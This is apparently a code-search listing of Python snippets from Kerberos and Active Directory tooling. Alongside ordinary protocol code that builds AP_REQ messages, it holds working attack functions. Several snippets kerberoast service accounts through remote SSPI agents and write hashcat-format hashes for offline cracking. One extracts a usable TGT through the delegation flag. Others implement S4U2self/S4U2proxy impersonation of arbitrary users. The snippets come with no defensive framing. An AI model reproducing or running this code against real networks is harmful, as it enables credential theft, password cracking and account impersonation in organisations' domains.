Example #1
0
	def construct_apreq_from_ticket(ticket_data, sessionkey, crealm, cname, flags = None, seq_number = 0, ap_opts = []):
		"""
		ticket: bytes of Ticket
		"""
		now = datetime.datetime.now(datetime.timezone.utc)
		authenticator_data = {}
		authenticator_data['authenticator-vno'] = krb5_pvno
		authenticator_data['crealm'] = Realm(crealm)
		authenticator_data['cname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': [cname]})
		authenticator_data['cusec'] = now.microsecond
		authenticator_data['ctime'] = now.replace(microsecond=0)
		if flags is not None:
			ac = AuthenticatorChecksum()
			ac.flags = flags
			ac.channel_binding = b'\x00'*16
			
			chksum = {}
			chksum['cksumtype'] = 0x8003
			chksum['checksum'] = ac.to_bytes()
			
			authenticator_data['cksum'] = Checksum(chksum)
			authenticator_data['seq-number'] = seq_number
		
		cipher = _enctype_table[sessionkey.enctype]
		authenticator_data_enc = cipher.encrypt(sessionkey, 11, Authenticator(authenticator_data).dump(), None)
		
		ap_req = {}
		ap_req['pvno'] = krb5_pvno
		ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value
		ap_req['ticket'] = Ticket.load(ticket_data)
		ap_req['ap-options'] = APOptions(set(ap_opts))
		ap_req['authenticator'] = EncryptedData({'etype': sessionkey.enctype, 'cipher': authenticator_data_enc})

		return AP_REQ(ap_req).dump()
Example #2
0
	def construct_apreq(self, tgs, encTGSRepPart, sessionkey, flags = None, seq_number = 0, ap_opts = []):
		now = datetime.datetime.now(datetime.timezone.utc)
		authenticator_data = {}
		authenticator_data['authenticator-vno'] = krb5_pvno
		authenticator_data['crealm'] = Realm(self.kerberos_TGT['crealm'])
		authenticator_data['cname'] = self.kerberos_TGT['cname']
		authenticator_data['cusec'] = now.microsecond
		authenticator_data['ctime'] = now.replace(microsecond=0)
		if flags is not None:
			ac = AuthenticatorChecksum()
			ac.flags = flags
			ac.channel_binding = b'\x00'*16
			
			chksum = {}
			chksum['cksumtype'] = 0x8003
			chksum['checksum'] = ac.to_bytes()
			
			authenticator_data['cksum'] = Checksum(chksum)
			authenticator_data['seq-number'] = seq_number
		
		cipher = _enctype_table[encTGSRepPart['key']['keytype']]
		authenticator_data_enc = cipher.encrypt(sessionkey, 11, Authenticator(authenticator_data).dump(), None)
		
		ap_req = {}
		ap_req['pvno'] = krb5_pvno
		ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value
		ap_req['ticket'] = Ticket(tgs['ticket'])
		ap_req['ap-options'] = APOptions(set(ap_opts))
		ap_req['authenticator'] = EncryptedData({'etype': self.kerberos_cipher_type, 'cipher': authenticator_data_enc})

		return AP_REQ(ap_req).dump()
Example #3
0
	async def kerberoast_multiplexor(self):
		try:
			from multiplexor.operator.external.sspi import KerberosSSPIClient
			from multiplexor.operator import MultiplexorOperator
		except ImportError as error:
			return None, Exception('Failed to import multiplexor module! You will need to install multiplexor to get this working!')

		try:
			ws_logger = logging.getLogger('websockets')
			ws_logger.setLevel(100)
			url_e = urlparse(self.kerb_url)
			agentid = url_e.path.replace('/','')
			operator = MultiplexorOperator(self.kerb_url)
			await operator.connect()
			#creating virtual sspi server
			for uid in self.targets_spn:
				try:
					server_info = await operator.start_sspi(agentid)
					#print(server_info)
					sspi_url = 'ws://%s:%s' % (server_info['listen_ip'], server_info['listen_port'])
					#print(sspi_url)
					ksspi = KerberosSSPIClient(sspi_url)
					await ksspi.connect()

					apreq, err = await ksspi.authenticate(self.targets_spn[uid].get_formatted_pname())
					if err is not None:
						logger.debug('[SPN-MP] error occurred while roasting %s: %s' % (self.targets_spn[uid].get_formatted_pname(), err))
						continue
					unwrap = KRB5_MECH_INDEP_TOKEN.from_bytes(apreq)
					aprep = AP_REQ.load(unwrap.data[2:]).native
					
					t = KerberoastTable.from_hash(self.ad_id, uid, TGSTicket2hashcat(aprep))
					self.session.add(t)

					self.total_targets_finished += 1
					if self.progress_queue is not None:
						msg = GathererProgress()
						msg.type = GathererProgressType.KERBEROAST
						msg.msg_type = MSGTYPE.PROGRESS 
						msg.adid = self.ad_id
						msg.domain_name = self.domain_name
						msg.total = self.total_targets
						msg.total_finished = self.total_targets_finished
						msg.step_size = 1
						await self.progress_queue.put(msg)

				except Exception as e:
					logger.debug('[SPN-MP] Error while roasting %s. %s' % (uid, e))
				finally:
					try:
						await ksspi.disconnect()
					except:
						pass

			self.session.commit()
		except Exception as e:
			return None, e
Example #4
0
    def get_tgt(self, target=None):
        if target is None:
            logon = get_logon_info()
            if logon['logonserver'] is None:
                raise Exception(
                    'Failed to get logonserver and no target was specified! This wont work.'
                )
            target = 'cifs/%s' % logon['logonserver']

        ctx = AcquireCredentialsHandle(None, 'kerberos', target,
                                       SECPKG_CRED.OUTBOUND)
        res, ctx, data, outputflags, expiry = InitializeSecurityContext(
            ctx,
            target,
            token=None,
            ctx=ctx,
            flags=ISC_REQ.DELEGATE | ISC_REQ.MUTUAL_AUTH
            | ISC_REQ.ALLOCATE_MEMORY)

        if res == SEC_E.OK or res == SEC_E.CONTINUE_NEEDED:
            #key_data = sspi._get_session_key()
            raw_ticket = self.export_ticketdata_target(0, target)
            key = Key(raw_ticket['Key']['KeyType'], raw_ticket['Key']['Key'])
            token = InitialContextToken.load(data[0][1])
            ticket = AP_REQ(token.native['innerContextToken']).native
            cipher = _enctype_table[ticket['authenticator']['etype']]
            dec_authenticator = cipher.decrypt(
                key, 11, ticket['authenticator']['cipher'])
            authenticator = Authenticator.load(dec_authenticator).native
            if authenticator['cksum']['cksumtype'] != 0x8003:
                raise Exception('Checksum not good :(')

            checksum_data = AuthenticatorChecksum.from_bytes(
                authenticator['cksum']['checksum'])
            if ChecksumFlags.GSS_C_DELEG_FLAG not in checksum_data.flags:
                raise Exception('delegation flag not set!')

            cred_orig = KRB_CRED.load(checksum_data.delegation_data).native
            dec_authenticator = cipher.decrypt(key, 14,
                                               cred_orig['enc-part']['cipher'])
            #info = EncKrbCredPart.load(dec_authenticator).native

            #reconstructing kirbi with the unencrypted data
            te = {}
            te['etype'] = 0
            te['cipher'] = dec_authenticator
            ten = EncryptedData(te)

            t = {}
            t['pvno'] = cred_orig['pvno']
            t['msg-type'] = cred_orig['msg-type']
            t['tickets'] = cred_orig['tickets']
            t['enc-part'] = ten

            cred = KRB_CRED(t)
            return cred.dump()
Example #5
0
async def spnmultiplexor(args):
	try:
		from multiplexor.operator.external.sspi import KerberosSSPIClient
		from multiplexor.operator import MultiplexorOperator
	except ImportError as error:
		print('Failed to import multiplexor module! You will need to install multiplexor to get this working!')

	logger = logging.getLogger('websockets')
	logger.setLevel(100)
	if args.verbose > 2:
		logger.setLevel(logging.INFO)

	try:
		logging.debug('[SPN-MP] input URL: %s' % args.mp_url)
		url_e = urlparse(args.mp_url)
		agentid = url_e.path.replace('/','')
		logging.debug('[SPN-MP] agentid: %s' % agentid)

		targets = get_targets_from_file(args)
		targets += get_target_from_args(args)
		if len(targets) == 0:
			raise Exception('No targets were specified! Either use target file or specify target via cmdline')
		
		logging.debug('[SPN-MP] loaded %s targets' % len(targets))
		operator = MultiplexorOperator(args.mp_url)
		await operator.connect()
		#creating virtual sspi server
		results = []
		for target in targets:
			server_info = await operator.start_sspi(agentid)
			#print(server_info)
			sspi_url = 'ws://%s:%s' % (server_info['listen_ip'], server_info['listen_port'])
			#print(sspi_url)
			ksspi = KerberosSSPIClient(sspi_url)
			await ksspi.connect()

			apreq, err = await ksspi.authenticate(target.get_formatted_pname())
			if err is not None:
				logging.debug('[SPN-MP] error occurred while roasting %s: %s' % (target.get_formatted_pname(), err))
				continue
			unwrap = KRB5_MECH_INDEP_TOKEN.from_bytes(apreq)
			aprep = AP_REQ.load(unwrap.data[2:]).native
			results.append(TGSTicket2hashcat(aprep))

		if args.out_file:
			with open(args.out_file, 'w', newline = '') as f:
				for thash in results:
					f.write(thash + '\r\n')

		else:
			for thash in results:
				print(thash)

	except Exception as e:
		logging.exception('[SPN-MP] exception!')
Example #6
0
    async def kerberoast_sspiproxy(self):
        try:
            from wsnet.operator.sspiproxy import WSNETSSPIProxy

            url = self.kerb_url
            agentid = None
            o = urlparse(self.kerb_url)
            if o.query:
                q = parse_qs(o.query)
                agentid = q.get('agentid', [None])[0]
                if agentid is not None:
                    agentid = bytes.fromhex(agentid)

            for uid in self.targets_spn:
                if self.targets_spn[uid].get_formatted_pname().lower(
                ).startswith('krbtgt'):
                    continue
                sspi = WSNETSSPIProxy(url, agentid)
                status, ctxattr, apreq, err = await sspi.authenticate(
                    'KERBEROS',
                    '',
                    self.targets_spn[uid].get_formatted_pname(),
                    3,
                    2048,
                    authdata=b'')
                if err is not None:
                    print(err.__traceback__)
                    print('Failed to get ticket for %s Reason: %s' %
                          (self.targets_spn[uid].get_formatted_pname(),
                           str(err)))
                    continue

                unwrap = KRB5_MECH_INDEP_TOKEN.from_bytes(apreq)
                aprep = AP_REQ.load(unwrap.data[2:]).native
                t = KerberoastTable.from_hash(self.ad_id, uid,
                                              TGSTicket2hashcat(aprep))
                self.db_session.add(t)

                self.total_targets_finished += 1
                if self.progress_queue is not None:
                    msg = GathererProgress()
                    msg.type = GathererProgressType.KERBEROAST
                    msg.msg_type = MSGTYPE.PROGRESS
                    msg.adid = self.ad_id
                    msg.domain_name = self.domain_name
                    msg.total = self.total_targets
                    msg.total_finished = self.total_targets_finished
                    msg.step_size = 1
                    await self.progress_queue.put(msg)

            self.db_session.commit()
        except Exception as e:
            return None, e
Example #7
0
    def get_apreq(self, target):
        ctx = AcquireCredentialsHandle(None, 'kerberos', target,
                                       SECPKG_CRED.OUTBOUND)
        res, ctx, data, outputflags, expiry = InitializeSecurityContext(
            ctx,
            target,
            token=None,
            ctx=ctx,
            flags=ISC_REQ.ALLOCATE_MEMORY | ISC_REQ.CONNECTION)
        if res == SEC_E.OK or res == SEC_E.CONTINUE_NEEDED:
            sec_struct = SecPkgContext_SessionKey()
            QueryContextAttributes(ctx, SECPKG_ATTR.SESSION_KEY, sec_struct)
            key_data = sec_struct.Buffer
            #print(data[0][1].hex())

            ticket = InitialContextToken.load(
                data[0][1]).native['innerContextToken']
            return AP_REQ(ticket), key_data
Example #8
0
    async def authenticate(self,
                           authData=None,
                           flags=None,
                           seq_number=0,
                           cb_data=None):
        try:
            status, ctxattr, apreq, err = await self.sspi.authenticate(
                'KERBEROS',
                '',
                self.settings.target.to_target_string(),
                3,
                self.flags.value,
                authdata=b'')
            if err is not None:
                raise err

            self.flags = ISC_REQ(ctxattr)

            self.session_key, err = await self.sspi.get_sessionkey()
            if err is not None:
                return None, None, err

            unwrap = KRB5_MECH_INDEP_TOKEN.from_bytes(apreq)
            aprep = AP_REQ.load(unwrap.data[2:]).native
            subkey = Key(aprep['ticket']['enc-part']['etype'],
                         self.session_key)
            self.gssapi = get_gssapi(subkey)

            if aprep['ticket']['enc-part']['etype'] != 23:
                if ISC_REQ.CONFIDENTIALITY in self.flags:
                    raw_seq_data, err = await self.sspi.get_sequenceno()
                    if err is not None:
                        return None, None, err
                    self.seq_number = GSSWrapToken.from_bytes(
                        raw_seq_data[16:]).SND_SEQ

            return unwrap.data[2:], False, None
        except Exception as e:
            return None, None, e
Example #9
0
    async def authenticate(self,
                           authData=None,
                           flags=None,
                           seq_number=0,
                           cb_data=None):
        #authdata is only for api compatibility reasons
        if self.ksspi is None:
            await self.start_remote_kerberos()
        try:
            apreq, res = await self.ksspi.authenticate(
                self.settings.target.to_target_string(),
                flags=str(self.flags.value))
            #print('MULTIPLEXOR KERBEROS SSPI, APREQ: %s ERROR: %s' % (apreq, res))
            if res is not None:
                return None, None, res

            # here it seems like we get the full token not just the apreq data...
            # so we need to discard the layers

            self.session_key, err = await self.ksspi.get_session_key()
            if err is not None:
                return None, None, err

            unwrap = KRB5_MECH_INDEP_TOKEN.from_bytes(apreq)
            aprep = AP_REQ.load(unwrap.data[2:]).native
            subkey = Key(aprep['ticket']['enc-part']['etype'],
                         self.session_key)
            self.gssapi = get_gssapi(subkey)

            if aprep['ticket']['enc-part']['etype'] != 23:
                raw_seq_data, err = await self.ksspi.get_seq_number()
                if err is not None:
                    return None, None, err
                self.seq_number = GSSWrapToken.from_bytes(
                    raw_seq_data[16:]).SND_SEQ

            return unwrap.data[2:], False, res
        except Exception as e:
            return None, None, e
Example #10
0
    def from_buffer(buff):
        t = PKU2U_TOKEN()
        t_hdr = buff.tell()
        buff.read(1)  # 0x60
        total_length = cl_buff(buff)
        buff.read(1)  # 0x06
        total_length += buff.tell() - t_hdr - 1
        oid_length = cl_buff(buff)
        t_oid = buff.read(oid_length)
        t.tok_id = PKU2U_TOKEN_TYPE(buff.read(2))
        t_data = buff.read(total_length - buff.tell())
        #t.inner_token_raw = t_data

        if t.tok_id == PKU2U_TOKEN_TYPE.KRB_AS_REQ:
            t.inner_token = AS_REQ.load(t_data)
        elif t.tok_id == PKU2U_TOKEN_TYPE.KRB_AS_REP:
            t.inner_token = AS_REP.load(t_data)
        elif t.tok_id == PKU2U_TOKEN_TYPE.KRB_AP_REQ:
            t.inner_token = AP_REQ.load(t_data)
        elif t.tok_id == PKU2U_TOKEN_TYPE.KRB_AP_REP:
            t.inner_token = AP_REP.load(t_data)
        else:
            t.inner_token = t_data
        return t
Example #11
0
	def S4U2proxy(self, s4uself_ticket, spn_user, supp_enc_methods = [EncryptionType.DES_CBC_CRC,EncryptionType.DES_CBC_MD4,EncryptionType.DES_CBC_MD5,EncryptionType.DES3_CBC_SHA1,EncryptionType.ARCFOUR_HMAC_MD5,EncryptionType.AES256_CTS_HMAC_SHA1_96,EncryptionType.AES128_CTS_HMAC_SHA1_96]):
		logger.debug('[S4U2proxy] Impersonating %s' % '/'.join(spn_user.get_principalname()))
		now = datetime.datetime.now(datetime.timezone.utc)
		supp_enc = self.usercreds.get_preferred_enctype(supp_enc_methods)
		
		pa_pac_opts = {}
		pa_pac_opts['padata-type'] = int(PADATA_TYPE('PA-PAC-OPTIONS'))
		pa_pac_opts['padata-value'] = PA_PAC_OPTIONS({'value' : PA_PAC_OPTIONSTypes(set(['resource-based constrained delegation']))}).dump()

		
		authenticator_data = {}
		authenticator_data['authenticator-vno'] = krb5_pvno
		authenticator_data['crealm'] = Realm(self.kerberos_TGT['crealm'])
		authenticator_data['cname'] = self.kerberos_TGT['cname']
		authenticator_data['cusec'] = now.microsecond
		authenticator_data['ctime'] = now.replace(microsecond=0)
		
		authenticator_data_enc = self.kerberos_cipher.encrypt(self.kerberos_session_key, 7, Authenticator(authenticator_data).dump(), None)
		
		ap_req = {}
		ap_req['pvno'] = krb5_pvno
		ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value
		ap_req['ap-options'] = APOptions(set())
		ap_req['ticket'] = Ticket(self.kerberos_TGT['ticket'])
		ap_req['authenticator'] = EncryptedData({'etype': self.kerberos_cipher_type, 'cipher': authenticator_data_enc})
		
		pa_tgs_req = {}
		pa_tgs_req['padata-type'] = PaDataType.TGS_REQ.value
		pa_tgs_req['padata-value'] = AP_REQ(ap_req).dump()
		
		
		krb_tgs_body = {}
		krb_tgs_body['kdc-options'] = KDCOptions(set(['forwardable','renewable','constrained-delegation', 'canonicalize']))
		krb_tgs_body['sname'] = PrincipalName({'name-type': NAME_TYPE.SRV_INST.value, 'name-string': spn_user.get_principalname()})
		krb_tgs_body['realm'] = self.usercreds.domain.upper()
		krb_tgs_body['till']  = (now + datetime.timedelta(days=1)).replace(microsecond=0)
		krb_tgs_body['nonce'] = secrets.randbits(31)
		krb_tgs_body['etype'] = [supp_enc.value] #selecting according to server's preferences
		krb_tgs_body['additional-tickets'] = [s4uself_ticket]
		
		
		krb_tgs_req = {}
		krb_tgs_req['pvno'] = krb5_pvno
		krb_tgs_req['msg-type'] = MESSAGE_TYPE.KRB_TGS_REQ.value
		krb_tgs_req['padata'] = [pa_tgs_req, pa_pac_opts]
		krb_tgs_req['req-body'] = KDC_REQ_BODY(krb_tgs_body)
		
		req = TGS_REQ(krb_tgs_req)
		logger.debug('[S4U2proxy] Sending request to server')
		try:
			reply = self.ksoc.sendrecv(req.dump())
		except KerberosError as e:
			if e.errorcode.value == 16:
				logger.error('S4U2proxy: Failed to get S4U2proxy! Error code (16) indicates that delegation is not enabled for this account! Full error: %s' % e)
			
			raise e
		logger.debug('[S4U2proxy] Got server reply, decrypting...')
		tgs = reply.native
		
		encTGSRepPart = EncTGSRepPart.load(self.kerberos_cipher.decrypt(self.kerberos_session_key, 8, tgs['enc-part']['cipher'])).native
		key = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue'])
		
		self.ccache.add_tgs(tgs, encTGSRepPart)
		logger.debug('[S4U2proxy] Got valid TGS reply')

		return tgs, encTGSRepPart, key
Example #12
0
	def S4U2self(self, user_to_impersonate, supp_enc_methods = [EncryptionType.DES_CBC_CRC,EncryptionType.DES_CBC_MD4,EncryptionType.DES_CBC_MD5,EncryptionType.DES3_CBC_SHA1,EncryptionType.ARCFOUR_HMAC_MD5,EncryptionType.AES256_CTS_HMAC_SHA1_96,EncryptionType.AES128_CTS_HMAC_SHA1_96]):
		"""
		user_to_impersonate : KerberosTarget class
		"""
		
		if not self.kerberos_TGT:
			logger.debug('[S4U2self] TGT is not available! Fetching TGT...')
			self.get_TGT()
		
		supp_enc = self.usercreds.get_preferred_enctype(supp_enc_methods)
		auth_package_name = 'Kerberos'
		now = datetime.datetime.now(datetime.timezone.utc)
		
		
		###### Calculating authenticator data
		authenticator_data = {}
		authenticator_data['authenticator-vno'] = krb5_pvno
		authenticator_data['crealm'] = Realm(self.kerberos_TGT['crealm'])
		authenticator_data['cname'] = self.kerberos_TGT['cname']
		authenticator_data['cusec'] = now.microsecond
		authenticator_data['ctime'] = now.replace(microsecond=0)
		
		authenticator_data_enc = self.kerberos_cipher.encrypt(self.kerberos_session_key, 7, Authenticator(authenticator_data).dump(), None)
		
		ap_req = {}
		ap_req['pvno'] = krb5_pvno
		ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value
		ap_req['ap-options'] = APOptions(set())
		ap_req['ticket'] = Ticket(self.kerberos_TGT['ticket'])
		ap_req['authenticator'] = EncryptedData({'etype': self.kerberos_cipher_type, 'cipher': authenticator_data_enc})
		
		pa_data_auth = {}
		pa_data_auth['padata-type'] = PaDataType.TGS_REQ.value
		pa_data_auth['padata-value'] = AP_REQ(ap_req).dump()
		
		###### Calculating checksum data
		
		S4UByteArray = NAME_TYPE.PRINCIPAL.value.to_bytes(4, 'little', signed = False)
		S4UByteArray += user_to_impersonate.username.encode()
		S4UByteArray += user_to_impersonate.domain.encode()
		S4UByteArray += auth_package_name.encode()
		logger.debug('[S4U2self] S4UByteArray: %s' % S4UByteArray.hex())
		logger.debug('[S4U2self] S4UByteArray: %s' % S4UByteArray)
		
		chksum_data = _HMACMD5.checksum(self.kerberos_session_key, 17, S4UByteArray)
		logger.debug('[S4U2self] chksum_data: %s' % chksum_data.hex())
		
		
		chksum = {}
		chksum['cksumtype'] = int(CKSUMTYPE('HMAC_MD5'))
		chksum['checksum'] = chksum_data

		
		###### Filling out PA-FOR-USER data for impersonation
		pa_for_user_enc = {}
		pa_for_user_enc['userName'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': user_to_impersonate.get_principalname()})
		pa_for_user_enc['userRealm'] = user_to_impersonate.domain
		pa_for_user_enc['cksum'] = Checksum(chksum)
		pa_for_user_enc['auth-package'] = auth_package_name
		
		pa_for_user = {}
		pa_for_user['padata-type'] = int(PADATA_TYPE('PA-FOR-USER'))
		pa_for_user['padata-value'] = PA_FOR_USER_ENC(pa_for_user_enc).dump()
	
		###### Constructing body
		
		krb_tgs_body = {}
		krb_tgs_body['kdc-options'] = KDCOptions(set(['forwardable','renewable','canonicalize']))
		krb_tgs_body['sname'] = PrincipalName({'name-type': NAME_TYPE.UNKNOWN.value, 'name-string': [self.usercreds.username]})
		krb_tgs_body['realm'] = self.usercreds.domain.upper()
		krb_tgs_body['till']  = (now + datetime.timedelta(days=1)).replace(microsecond=0)
		krb_tgs_body['nonce'] = secrets.randbits(31)
		krb_tgs_body['etype'] = [supp_enc.value] #selecting according to server's preferences
		
		
		krb_tgs_req = {}
		krb_tgs_req['pvno'] = krb5_pvno
		krb_tgs_req['msg-type'] = MESSAGE_TYPE.KRB_TGS_REQ.value
		krb_tgs_req['padata'] = [pa_data_auth, pa_for_user]
		krb_tgs_req['req-body'] = KDC_REQ_BODY(krb_tgs_body)
		
		req = TGS_REQ(krb_tgs_req)
		
		logger.debug('[S4U2self] Sending request to server')
		try:
			reply = self.ksoc.sendrecv(req.dump())
		except KerberosError as e:
			if e.errorcode.value == 16:
				logger.error('[S4U2self] Failed to get S4U2self! Error code (16) indicates that delegation is not enabled for this account! Full error: %s' % e)
			
			raise e
		
		logger.debug('[S4U2self] Got reply, decrypting...')
		tgs = reply.native
		
		encTGSRepPart = EncTGSRepPart.load(self.kerberos_cipher.decrypt(self.kerberos_session_key, 8, tgs['enc-part']['cipher'])).native
		key = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue'])
		
		self.ccache.add_tgs(tgs, encTGSRepPart)
		logger.debug('[S4U2self] Got valid TGS reply')
		self.kerberos_TGS = tgs
		return tgs, encTGSRepPart, key
Example #13
0
	def get_TGS(self, spn_user, override_etype = None, is_linux = False):
		"""
		Requests a TGS ticket for the specified user.
		Returns the TGS ticket, end the decrpyted encTGSRepPart.

		spn_user: KerberosTarget: the service user you want to get TGS for.
		override_etype: None or list of etype values (int) Used mostly for kerberoasting, will override the AP_REQ supported etype values (which is derived from the TGT) to be able to recieve whatever tgs tiecket 
		"""

		logger.debug('[getTGS] Constructing request for user %s' % spn_user.get_formatted_pname())
		now = datetime.datetime.now(datetime.timezone.utc)
		kdc_req_body = {}
		kdc_req_body['kdc-options'] = KDCOptions(set(['forwardable','renewable','renewable_ok', 'canonicalize']))
		kdc_req_body['realm'] = spn_user.domain.upper()
		kdc_req_body['sname'] = PrincipalName({'name-type': NAME_TYPE.SRV_INST.value, 'name-string': spn_user.get_principalname()})
		kdc_req_body['till'] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
		kdc_req_body['nonce'] = secrets.randbits(31)
		if override_etype:
			kdc_req_body['etype'] = override_etype
		else:
			kdc_req_body['etype'] = [self.kerberos_cipher_type]

		authenticator_data = {}
		authenticator_data['authenticator-vno'] = krb5_pvno
		authenticator_data['crealm'] = Realm(self.kerberos_TGT['crealm'])
		authenticator_data['cname'] = self.kerberos_TGT['cname']
		authenticator_data['cusec'] = now.microsecond
		authenticator_data['ctime'] = now.replace(microsecond=0)
		
		if is_linux:
			ac = AuthenticatorChecksum()
			ac.flags = 0
			ac.channel_binding = b'\x00'*16
			
			chksum = {}
			chksum['cksumtype'] = 0x8003
			chksum['checksum'] = ac.to_bytes()
			
			authenticator_data['cksum'] = Checksum(chksum)
			authenticator_data['seq-number'] = 0
		
		authenticator_data_enc = self.kerberos_cipher.encrypt(self.kerberos_session_key, 7, Authenticator(authenticator_data).dump(), None)
		
		ap_req = {}
		ap_req['pvno'] = krb5_pvno
		ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value
		ap_req['ap-options'] = APOptions(set())
		ap_req['ticket'] = Ticket(self.kerberos_TGT['ticket'])
		ap_req['authenticator'] = EncryptedData({'etype': self.kerberos_cipher_type, 'cipher': authenticator_data_enc})
		
		pa_data_1 = {}
		pa_data_1['padata-type'] = PaDataType.TGS_REQ.value
		pa_data_1['padata-value'] = AP_REQ(ap_req).dump()
		
		
		kdc_req = {}
		kdc_req['pvno'] = krb5_pvno
		kdc_req['msg-type'] = MESSAGE_TYPE.KRB_TGS_REQ.value
		kdc_req['padata'] = [pa_data_1]
		kdc_req['req-body'] = KDC_REQ_BODY(kdc_req_body)
		
		req = TGS_REQ(kdc_req)
		logger.debug('[getTGS] Constructing request to server')
		rep = self.ksoc.sendrecv(req.dump())
		logger.debug('[getTGS] Got reply, decrypting...')
		tgs = rep.native
		
		encTGSRepPart = EncTGSRepPart.load(self.kerberos_cipher.decrypt(self.kerberos_session_key, 8, tgs['enc-part']['cipher'])).native
		key = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue'])
		
		self.ccache.add_tgs(tgs, encTGSRepPart)
		logger.debug('[getTGS] Got valid reply')
		self.kerberos_TGS = tgs
		return tgs, encTGSRepPart, key
Example #14
0
    def build_apreq(self,
                    asrep,
                    session_key,
                    cipher,
                    subkey_data,
                    krb_finished_data,
                    flags=GSSAPIFlags.GSS_C_MUTUAL_FLAG
                    | GSSAPIFlags.GSS_C_INTEG_FLAG
                    | GSSAPIFlags.GSS_C_EXTENDED_ERROR_FLAG):

        # TODO: https://www.ietf.org/rfc/rfc4757.txt
        #subkey_data = {}
        #subkey_data['keytype'] = Enctype.AES256
        #subkey_data['keyvalue'] = os.urandom(32)

        subkey_cipher = _enctype_table[subkey_data['keytype']]
        subkey_key = Key(subkey_cipher.enctype, subkey_data['keyvalue'])
        subkey_checksum = _checksum_table[
            16]  # ChecksumTypes.hmac_sha1_96_aes256

        krb_finished_checksum_data = {}
        krb_finished_checksum_data['cksumtype'] = 16
        krb_finished_checksum_data['checksum'] = subkey_checksum.checksum(
            subkey_key, 41, krb_finished_data)

        krb_finished_data = {}
        krb_finished_data['gss-mic'] = Checksum(krb_finished_checksum_data)

        krb_finished = KRB_FINISHED(krb_finished_data).dump()

        a = 2
        extensions_data = a.to_bytes(
            4, byteorder='big', signed=True) + len(krb_finished).to_bytes(
                4, byteorder='big', signed=True) + krb_finished

        ac = AuthenticatorChecksum()
        ac.flags = flags
        ac.channel_binding = b'\x00' * 16
        chksum = {}
        chksum['cksumtype'] = 0x8003
        chksum['checksum'] = ac.to_bytes() + extensions_data

        tii = LSAP_TOKEN_INFO_INTEGRITY()
        tii.Flags = 1
        tii.TokenIL = 0x00002000  # Medium integrity
        tii.MachineID = bytes.fromhex(
            '7e303fffe6bff25146addca4fbddf1b94f1634178eb4528fb2731c669ca23cde')

        restriction_data = {}
        restriction_data['restriction-type'] = 0
        restriction_data['restriction'] = tii.to_bytes()
        restriction_data = KERB_AD_RESTRICTION_ENTRY(restriction_data)

        x = KERB_AD_RESTRICTION_ENTRYS([restriction_data]).dump()
        restrictions = AuthorizationData([{
            'ad-type': 141,
            'ad-data': x
        }]).dump()

        now = datetime.datetime.now(datetime.timezone.utc)
        authenticator_data = {}
        authenticator_data['authenticator-vno'] = krb5_pvno
        authenticator_data['crealm'] = Realm(asrep['crealm'])
        authenticator_data['cname'] = asrep['cname']
        authenticator_data['cusec'] = now.microsecond
        authenticator_data['ctime'] = now.replace(microsecond=0)
        authenticator_data['subkey'] = EncryptionKey(subkey_data)
        authenticator_data['seq-number'] = 682437742  #??? TODO: check this!
        authenticator_data['authorization-data'] = AuthorizationData([{
            'ad-type':
            1,
            'ad-data':
            restrictions
        }])
        authenticator_data['cksum'] = Checksum(chksum)

        #print('Authenticator(authenticator_data).dump()')
        #print(Authenticator(authenticator_data).dump().hex())

        authenticator_data_enc = cipher.encrypt(
            session_key, 11,
            Authenticator(authenticator_data).dump(), None)

        ap_opts = ['mutual-required']

        ap_req = {}
        ap_req['pvno'] = krb5_pvno
        ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value
        ap_req['ticket'] = Ticket(asrep['ticket'])
        ap_req['ap-options'] = APOptions(set(ap_opts))
        ap_req['authenticator'] = EncryptedData({
            'etype':
            session_key.enctype,
            'cipher':
            authenticator_data_enc
        })

        #pprint('AP_REQ \r\n%s' % AP_REQ(ap_req).native)

        #print(AP_REQ(ap_req).dump().hex())
        #input()

        return AP_REQ(ap_req).dump()
Example #15
0
    async def S4U2proxy(
        self,
        s4uself_ticket,
        spn_user,
        supp_enc_methods=[
            EncryptionType.DES_CBC_CRC, EncryptionType.DES_CBC_MD4,
            EncryptionType.DES_CBC_MD5, EncryptionType.DES3_CBC_SHA1,
            EncryptionType.ARCFOUR_HMAC_MD5,
            EncryptionType.AES256_CTS_HMAC_SHA1_96,
            EncryptionType.AES128_CTS_HMAC_SHA1_96
        ]):
        now = datetime.datetime.now(datetime.timezone.utc)
        supp_enc = self.usercreds.get_preferred_enctype(supp_enc_methods)

        pa_pac_opts = {}
        pa_pac_opts['padata-type'] = int(PADATA_TYPE('PA-PAC-OPTIONS'))
        pa_pac_opts['padata-value'] = PA_PAC_OPTIONS({
            'value':
            PA_PAC_OPTIONSTypes(set(['resource-based constrained delegation']))
        }).dump()

        authenticator_data = {}
        authenticator_data['authenticator-vno'] = krb5_pvno
        authenticator_data['crealm'] = Realm(self.kerberos_TGT['crealm'])
        authenticator_data['cname'] = self.kerberos_TGT['cname']
        authenticator_data['cusec'] = now.microsecond
        authenticator_data['ctime'] = now.replace(microsecond=0)

        authenticator_data_enc = self.kerberos_cipher.encrypt(
            self.kerberos_session_key, 7,
            Authenticator(authenticator_data).dump(), None)

        ap_req = {}
        ap_req['pvno'] = krb5_pvno
        ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value
        ap_req['ap-options'] = APOptions(set())
        ap_req['ticket'] = Ticket(self.kerberos_TGT['ticket'])
        ap_req['authenticator'] = EncryptedData({
            'etype':
            self.kerberos_cipher_type,
            'cipher':
            authenticator_data_enc
        })

        pa_tgs_req = {}
        pa_tgs_req['padata-type'] = PaDataType.TGS_REQ.value
        pa_tgs_req['padata-value'] = AP_REQ(ap_req).dump()

        krb_tgs_body = {}
        #krb_tgs_body['kdc-options'] = KDCOptions(set(['forwardable','forwarded','renewable','renewable-ok', 'canonicalize']))
        krb_tgs_body['kdc-options'] = KDCOptions(
            set([
                'forwardable', 'renewable', 'constrained-delegation',
                'canonicalize'
            ]))
